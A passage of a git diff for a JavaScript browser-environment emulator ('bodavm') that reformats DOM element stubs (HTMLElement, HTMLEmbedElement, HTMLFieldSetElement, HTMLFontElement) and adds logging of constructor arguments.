+bodavm.toolsFunc.defineProperty('HTMLElement', "onselectionchange", { + configurable: true, + enumerable: true, + get: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectionchange_get", arguments); + }, + set: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectionchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationend", { + configurable: true, + enumerable: true, + get: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationend_get", arguments); + }, + set: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationiteration", { + configurable: true, + enumerable: true, + get: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationiteration_get", arguments); + }, + set: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationstart", { + configurable: true, + enumerable: true, + get: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationstart_get", arguments); + }, + set: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionrun", { + configurable: true, + enumerable: true, + get: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionrun_get", arguments); + }, + set: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionrun_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionstart", { + configurable: true, + enumerable: true, + get: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionstart_get", arguments); + }, + set: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionend", { + configurable: true, + enumerable: true, + get: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionend_get", arguments); + }, + set: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitioncancel", { + configurable: true, + enumerable: true, + get: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitioncancel_get", arguments); + }, + set: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitioncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncopy", { + configurable: true, + enumerable: true, + get: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncopy_get", arguments); + }, + set: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncopy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncut", { + configurable: true, + enumerable: true, + get: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncut_get", arguments); + }, + set: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncut_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpaste", { + configurable: true, + enumerable: true, + get: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpaste_get", arguments); + }, + set: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpaste_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "dataset", { + configurable: true, + enumerable: true, + get: function dataset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dataset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "nonce", { + configurable: true, + enumerable: true, + get: function nonce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "nonce_get", arguments); + }, + set: function nonce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "nonce_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "autofocus", { + configurable: true, + enumerable: true, + get: function autofocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autofocus_get", arguments); + }, + set: function autofocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autofocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "tabIndex", { + configurable: true, + enumerable: true, + get: function tabIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "tabIndex_get", arguments); + }, + set: function tabIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "tabIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "style_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "attributeStyleMap", { + configurable: true, + enumerable: true, + get: function attributeStyleMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "attributeStyleMap_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "attachInternals", { + configurable: true, + enumerable: true, + writable: true, + value: function attachInternals() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "attachInternals", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "blur", { + configurable: true, + enumerable: true, + writable: true, + value: function blur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "blur", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "click", { + configurable: true, + enumerable: true, + writable: true, + value: function click() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "click", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "focus", { + configurable: true, + enumerable: true, + writable: true, + value: function focus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "focus", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "inert", { + configurable: true, + enumerable: true, + get: function inert() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inert_get", arguments); + }, + set: function inert() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inert_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncontentvisibilityautostatechange", { + configurable: true, + enumerable: true, + get: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontentvisibilityautostatechange_get", arguments); + }, + set: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontentvisibilityautostatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforematch", { + configurable: true, + enumerable: true, + get: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforematch_get", arguments); + }, + set: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforematch_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLEmbedElement.js b/env_xbb_lastest_jsdom/env/HTMLEmbedElement.js index 3518a3df..c4bf0feb 100644 --- a/env_xbb_lastest_jsdom/env/HTMLEmbedElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLEmbedElement.js @@ -1,12 +1,87 @@ -// HTMLEmbedElement对象 -bodavm.memory.globalobj['HTMLEmbedElement'] = function HTMLEmbedElement(){if (!(this instanceof HTMLEmbedElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLEmbedElement'], "HTMLEmbedElement"); -bodavm.memory.globalobj['HTMLEmbedElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLEmbedElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "getSVGDocument", {configurable:true, enumerable:true, writable:true, value:function getSVGDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "getSVGDocument", arguments)}},'prototype'); +// HTMLEmbedElement对象 + +bodavm.memory.globalobj['HTMLEmbedElement'] = function HTMLEmbedElement() { + console.log_copy('HTMLEmbedElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLEmbedElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLEmbedElement'], "HTMLEmbedElement"); +bodavm.memory.globalobj['HTMLEmbedElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLEmbedElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "getSVGDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function getSVGDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "getSVGDocument", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLFieldSetElement.js b/env_xbb_lastest_jsdom/env/HTMLFieldSetElement.js index bad21a8e..1462d201 100644 --- a/env_xbb_lastest_jsdom/env/HTMLFieldSetElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLFieldSetElement.js @@ -1,16 +1,111 @@ -// HTMLFieldSetElement对象 -bodavm.memory.globalobj['HTMLFieldSetElement'] = function HTMLFieldSetElement(){if (!(this instanceof HTMLFieldSetElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFieldSetElement'], "HTMLFieldSetElement"); -bodavm.memory.globalobj['HTMLFieldSetElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLFieldSetElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "elements", {configurable:true, enumerable:true, get:function elements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "elements_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "setCustomValidity", arguments)}},'prototype'); +// HTMLFieldSetElement对象 + +bodavm.memory.globalobj['HTMLFieldSetElement'] = function HTMLFieldSetElement() { + console.log_copy('HTMLFieldSetElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLFieldSetElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFieldSetElement'], "HTMLFieldSetElement"); +bodavm.memory.globalobj['HTMLFieldSetElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFieldSetElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "elements", { + configurable: true, + enumerable: true, + get: function elements() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "elements_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "setCustomValidity", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLFontElement.js b/env_xbb_lastest_jsdom/env/HTMLFontElement.js index 30551619..f1d8a071 100644 --- a/env_xbb_lastest_jsdom/env/HTMLFontElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLFontElement.js @@ -1,8 +1,49 @@ -// HTMLFontElement对象 -bodavm.memory.globalobj['HTMLFontElement'] = function HTMLFontElement(){if (!(this instanceof HTMLFontElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFontElement'], "HTMLFontElement"); -bodavm.memory.globalobj['HTMLFontElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLFontElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLFontElement', "color", {configurable:true, enumerable:true, get:function color (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "color_get", arguments)}, set:function color (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "color_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFontElement', "face", {configurable:true, enumerable:true, get:function face (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "face_get", arguments)}, set:function face (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "face_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFontElement', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "size_get", arguments)}, set:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "size_set", arguments)}},'prototype'); +// HTMLFontElement对象 + +bodavm.memory.globalobj['HTMLFontElement'] = function HTMLFontElement() { + console.log_copy('HTMLFontElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLFontElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFontElement'], "HTMLFontElement"); +bodavm.memory.globalobj['HTMLFontElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFontElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFontElement', "color", { + configurable: true, + enumerable: true, + get: function color() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "color_get", arguments); + }, + set: function color() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "color_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFontElement', "face", { + configurable: true, + enumerable: true, + get: function face() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "face_get", arguments); + }, + set: function face() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "face_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFontElement', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, 